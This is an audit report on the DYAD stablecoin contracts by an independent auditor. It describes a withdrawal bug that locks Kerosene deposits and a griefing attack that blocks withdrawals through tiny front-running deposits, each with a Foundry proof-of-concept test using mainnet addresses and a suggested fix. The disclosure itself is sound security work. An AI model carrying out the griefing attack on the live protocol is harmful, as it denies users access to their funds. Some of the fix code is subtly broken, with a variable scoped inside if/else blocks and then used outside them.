DYAD Stablecoin Audit Report

Version 1.0

Ardeshir Gholami

April 21, 2024

DYAD Stablecoin Audit Report

Ardeshir Gholami

21 April 2024

Prepared by: 4rdii Lead Auditors: - 4rdii

Table of Contents

Protocol Summary

DYAD is the first truly capital efficient decentralized stablecoin. Traditionally, two costs make stablecoins inefficient: surplus collateral and DEX liquidity. DYAD minimizes both of these costs through Kerosene, a token that lowers the individual cost to mint DYAD.

Disclaimer

I make all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit by the team is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

The findings described in this document correspond the following commit hash:

```
4a987e536576139793a1c04690336d06c93fca90
```

Scope

```
core
-- DNft - "A dNFT gives you the right to mint DYAD"
-- Dyad - "Stablecoin backed by ETH"
-- VaultManager - "Manage Vaults for DNfts"
-- VaultManagerV2 - "VaultManager with flash loan protection"
-- Vault - "Holds different collateral types"
-- Licenser - "License VaultManagers or Vaults"
-- KerosineManager - "Add/Remove Vaults to the Kerosene Calculation"

staking
-- Kerosine - "Kerosene ERC20"
-- KerosineDenominator
-- Staking - "Simple staking contract"

periphery
-- Payments
```

Roles

DYAD Multisig: 0xDeD796De6a14E255487191963dEe436c45995813

Role	Description
DYAD Multisig	Ability to: License new Vault Manager, License new Vaults, Change the kerosene denominator contract, Add new vaults to the Kerosene Manager

Executive Summary

This audit report presents the findings related to the Dyad Stablecoin, focusing on two critical vulnerabilities identified during the audit process. The vulnerabilities highlighted are significant as they could potentially lead to loss of funds and disruption of the normal operation of the Dyad Stablecoin ecosystem.

- Vulnerability 1: Kerosene Deposited Into DNFTs Will Be Lost and Cannot Be Withdrawn The first vulnerability identified is related to the handling of Kerosene (KER) deposited into Decentralized Non-Fungible Tokens (DNFTs). The audit findings indicate that KER deposited into DNFTs will be lost and cannot be withdrawn. This vulnerability poses a significant risk to users who deposit KER into DNFTs, as their funds could be irretrievably lost. The implications of this vulnerability are far-reaching, potentially affecting the trust and confidence of users in the Dyad Stablecoin ecosystem.

- Vulnerability 2: Griefing Attack to Block Withdrawals The second vulnerability identified is a griefing attack that can block withdrawals from DNFTs. This attack involves a malicious user depositing a small amount of funds into a DNFT and setting the idToBlockOfLastDeposit to the most recent block. This action disables withdrawals from a certain ID, which can be done continuously or via frontrunning, specifically when the owner of the DNFT intends to withdraw. This vulnerability not only disrupts the normal operation of the Dyad Stablecoin ecosystem but also poses a risk to the security and integrity of the system. ## Issues found

Severity	number of issues found
High	1
Medium	1
Low	0
Info	0
Total	2

Findings

[H-1] Kerosine Deposited Into DNfts Will Be Lost and Can not Be Withdrawn

Impact

Users can use `VualtManagerV2::deposit` to deposit their Kerosene to their `DNfts`. However, if they attempt to withdraw it, the process will always revert.This is because the `VualtManagerV2::withdraw` function uses `_vault.oracle().decimals()` to get the oracle decimals, but the Kerosine Vaults does not have the `oracle` state variable.

withdraw function

```
function withdraw(
        uint256 id,
        address vault,
        uint256 amount,
        address to
    ) public isDNftOwner(id) {
        if (idToBlockOfLastDeposit[id] == block.number) {
            revert DepositedInSameBlock();
        }
        uint256 dyadMinted = dyad.mintedDyad(address(this), id);
```

```
11          Vault _vault = Vault(vault);
12          uint256 value = (amount * _vault.assetPrice() * 1e18) /
13  @>              10 ** _vault.oracle().decimals() /
14  @>              //q this will always revert if withdawing kerosene
        collateral! kerosene vaults doesn't have oracle
15              10 ** _vault.asset().decimals();
16          if (getNonKeroseneValue(id) - value < dyadMinted) {
17              revert NotEnoughExoCollat();
18          }
19          _vault.withdraw(id, to, amount);
20          if (collatRatio(id) < MIN_COLLATERIZATION_RATIO) revert
                CrTooLow();
21      }
```

Proof of Concept

Add the following test to exisiting v2.t.sol test suit. Steps: 1. Deal prank address some ETH and mint WETH. 2. Mint a DNft for the user and add a vault to it. 3. Add VaultV2 to vaultManager licenser. 4. Mint the maximum amount of Dyads. 5. Try to mint more; this should fail! 6. Get some Kerosene from mainnetOwner. 7. Deposit Kerosene into vaults. 8. Try to mint after Kerosene deposit; this should succeed. 9. Burn all minted Dyad and withdraw non-Kerosene collaterals. 10. Withdraw all Kerosene; this will always revert!

PoC

```
1  function testKoreseneWithdrawsWillAlwaysFail() public {
2          //1. deal prank address some eth and mint weth:
3          vm.deal(lp, 11 ether);
4          vm.startPrank(lp);
5          WETH(payable(MAINNET_WETH)).deposit{value: 10 ether}();
6          uint256 balance = WETH(payable(MAINNET_WETH)).balanceOf(lp);
7          assertEq(balance, 10 ether);
8          //2. Mint a Dnft for the user and add vault to it:
9          uint256 id = DNft(MAINNET_DNFT).mintNft{value: 1 ether}(lp);
10         assertEq(DNft(MAINNET_DNFT).balanceOf(lp), 1);
11         contracts.vaultManager.add(id, address(contracts.ethVault));
12         vm.stopPrank();
13         //3. add VaultV2 to vaultmanager licenser:
14         address VAULTMANAGER_LICENSER = 0
               xd8bA5e720Ddc7ccD24528b9BA3784708528d0B85;
15         vm.prank(Licenser(VAULTMANAGER_LICENSER).owner());
16         Licenser(VAULTMANAGER_LICENSER).add(address(contracts.
               vaultManager));
17         //4. try to Mint Dyads:
18         vm.startPrank(lp);
19         WETH(payable(MAINNET_WETH)).approve(
20             address(contracts.vaultManager),
21             10 ether
```

```
22          );
23          contracts.vaultManager.deposit(
24              id,
25              address(contracts.ethVault),
26              10 ether
27          );
28          uint256 maxMintAmount = (contracts.vaultManager.
                getNonKeroseneValue(
29              id
30          ) * 2) / 3 ether;
31          contracts.vaultManager.mintDyad(id, maxMintAmount, lp);
32          vm.stopPrank();
33          uint256 DyadBalance = ERC20(MAINNET_DYAD).balanceOf(lp);
34          assertEq(DyadBalance, maxMintAmount);
35          //5. try to mint more? should fail!
36          vm.expectRevert();
37          contracts.vaultManager.mintDyad(id, 100 ether, lp);
38          //6. get some kerosene from mainWallet
39          vm.prank(MAINNET_OWNER); //mainnetOwner
40          ERC20(MAINNET_KEROSENE).transfer(lp, 10000 ether);
41          //7. deposit kerosene into vaults
42          vm.startPrank(lp);
43          ERC20(MAINNET_KEROSENE).approve(
44              address(contracts.vaultManager),
45              10000 ether
46          );
47          contracts.vaultManager.deposit(
48              id,
49              address(contracts.unboundedKerosineVault),
50              5000 ether
51          );
52          contracts.vaultManager.deposit(
53              id,
54              address(contracts.boundedKerosineVault),
55              5000 ether
56          );
57          //8. try to mint after  kerosene deposit=> succeeds
58          contracts.vaultManager.mintDyad(id, 100 ether, lp);
59          //9. burn all minted dyad and withdraw nonkerosene collaterals
60          vm.roll(1);
61          vm.warp(1); // let some time and block to pass
62          contracts.vaultManager.burnDyad(id, maxMintAmount + 100 ether);
63          contracts.vaultManager.withdraw(
64              id,
65              address(contracts.ethVault),
66              10 ether,
67              lp
68          );
69          //10. withdraw some of kerosene => will revert always!
70          vm.expectRevert();
71          contracts.vaultManager.withdraw(
```

```
            id,
            address(contracts.unboundedKerosineVault),
            10 ether,
            lp
        );

        vm.expectRevert();
        contracts.vaultManager.withdraw(
            id,
            address(contracts.boundedKerosineVault),
            10 ether,
            lp
        );
    }
```

Tools Used

Manual Review, Foundry Test Suit ### Recommended Mitigation Steps To fix this issue, it's recommended to add a check to the `withdraw` and `redeem` functions (which have the same problem). In the case of withdrawing from the Kerosene vaults (or in case that`vault.asset == Kerosene`), do not use the oracle state variable of the vault contract. Instead, use fixed decimals for Kerosene price.

Recommended Mitigations

```
function withdraw(
        uint256 id,
        address vault,
        uint256 amount,
        address to
    ) public isDNftOwner(id) {
        if (idToBlockOfLastDeposit[id] == block.number) {
            revert DepositedInSameBlock();
        }
        uint256 dyadMinted = dyad.mintedDyad(address(this), id);
        Vault _vault = Vault(vault);
-       uint256 value = (amount * _vault.assetPrice() * 1e18) /
-           10 ** _vault.oracle().decimals() /
-           10 ** _vault.asset().decimals();
+       address MAINNET_KEROSENE = 0
    xf3768D6e78E65FC64b8F12ffc824452130BD5394;
+       uint256 FIXED_KEROSENE_PRICE_DECIMALS = 8;
+       if (address(_vault.asset()) == MAINNET_KEROSENE) {
+           uint256 value = (amount * _vault.assetPrice() * 1e18) /
+               10 ** FIXED_KEROSENE_PRICE_DECIMALS /
+               10 ** _vault.asset().decimals();
+       } else {
+           uint256 value = (amount * _vault.assetPrice() * 1e18) /
```

```
+                10 ** _vault.oracle().decimals() /
+                10 ** _vault.asset().decimals();
+        }
         if (getNonKeroseneValue(id) - value < dyadMinted) {
             revert NotEnoughExoCollat();
         }
         _vault.withdraw(id, to, amount);
         if (collatRatio(id) < MIN_COLLATERIZATION_RATIO) revert
            CrTooLow();
     }
```

[M-1] Griefing attack to block withdraws

Impact

As anyone can deposit funds into a DNFT, a malicious user can deposit a small amount and set the `idToBlockOfLastDeposit` to the most recent block, disabling withdrawals from a certain DNFT ID. This can be done continuously (in every block, which is quite gas costly but still doable in a specific amount of time) or can be done via frontrunning and only when the owner of the DNFT intends to withdraw. Causing Liquidity Providers difficulties in withdrawing their deposits.

Proof of Concept## Proof of Concept

Add the following test to `test/frol/v2.t.sol`. Exploit Steps: 1. Liquidity Provider (LP) makes a DNFT and deposits some WETH into it. 2. LP attempts to withdraw after some time. 3. Griefer frontruns it or just continuously deposits to stop the withdraw. 4. LP is unable to withdraw.

```
function testGriefingAttackBlocksWithdraws() public {
        //0. set vars:
        uint256 AMOUNT_TO_DEPOSIT = 10 ether;
        uint256 GRIEFING_AMOUNT_TO_DEPOSIT = 0.0000001 ether;
        address VAULTMANAGER_LICENSER = 0
            xd8bA5e720Ddc7ccD24528b9BA3784708528d0B85;

        //1. deal prank address some eth and mint weth:
        vm.deal(lp, AMOUNT_TO_DEPOSIT + 1 ether); // +1 for mint dnft
            costs
        vm.startPrank(lp);
        WETH(payable(MAINNET_WETH)).deposit{value: AMOUNT_TO_DEPOSIT}()
            ;
        uint256 balanceLP = WETH(payable(MAINNET_WETH)).balanceOf(lp);
        assertEq(balanceLP, AMOUNT_TO_DEPOSIT);
        //1.a. do the same for greifer account
        vm.deal(grief, AMOUNT_TO_DEPOSIT);
        vm.startPrank(grief);
```

```
16          WETH(payable(MAINNET_WETH)).deposit{value: AMOUNT_TO_DEPOSIT}()
                ;
17          uint256 balanceGrief = WETH(payable(MAINNET_WETH)).balanceOf(
                grief);
18          assertEq(balanceGrief, AMOUNT_TO_DEPOSIT);
19          vm.stopPrank();
20          //2. Mint a Dnft for the user and add vault to it:
21          vm.startPrank(lp);
22          uint256 id = DNft(MAINNET_DNFT).mintNft{value: 1 ether}(lp);
23          assertEq(DNft(MAINNET_DNFT).balanceOf(lp), 1);
24          contracts.vaultManager.add(id, address(contracts.ethVault));
25          vm.stopPrank();
26          //3. add VaultV2 to vaultmanager licenser:
27          vm.prank(Licenser(VAULTMANAGER_LICENSER).owner());
28          Licenser(VAULTMANAGER_LICENSER).add(address(contracts.
                vaultManager));
29          //4. deposit Weth to vault:
30          vm.startPrank(lp);
31          WETH(payable(MAINNET_WETH)).approve(
32              address(contracts.vaultManager),
33              10 ether
34          );
35          contracts.vaultManager.deposit(
36              id,
37              address(contracts.ethVault),
38              10 ether
39          );
40          vm.stopPrank();
41          //5. let some time pass and try a withdraw
42          vm.roll(1);
43          vm.warp(1);
44          //5.a. A malicous user deposits to stop the withdraw with a
                small deposit, this can be done continuously here we just
                did it one time
45          vm.startPrank(grief);
46          WETH(payable(MAINNET_WETH)).approve(
47              address(contracts.vaultManager),
48              GRIEFING_AMOUNT_TO_DEPOSIT
49          );
50          contracts.vaultManager.deposit(
51              id,
52              address(contracts.ethVault),
53              GRIEFING_AMOUNT_TO_DEPOSIT
54          );
55          vm.stopPrank();
56          //5.b lp tries to withdraw but is denied
57          vm.prank(lp);
58          vm.expectRevert(DepositedInSameBlock.selector); // error
                DepositedInSameBlock();
59
60          contracts.vaultManager.withdraw(
```

```
61              id,
62              address(contracts.ethVault),
63              10 ether,
64              lp
65          );
66      }
```

Tools Used

- Manual Review
- Foundry

Recommended Mitigation Steps

To fix this issue, you can either completely stop other users from depositing into a DNFT, or if that's not possible or changes the protocol design, set a minimum deposit (e.g., 0.1 wETH). Here is a simple example in which I added a min deposit (note that it only works for weth and not other tokens, you should probably set min amount based on vault asset type)

```
.
.
.
+   error DepositIsLowerThanMin();
.
.
.
    function deposit(
            uint256 id,
            address vault,
            uint256 amount
        ) external isValidDNft(id) {
+           if (amount <= 0.1 ether) {
+               revert DepositIsLowerThanMin();
+           }
            idToBlockOfLastDeposit[id] = block.number;
            Vault _vault = Vault(vault);
            _vault.asset().safeTransferFrom(msg.sender, address(vault),
                amount);
            _vault.deposit(id, amount);
        }
```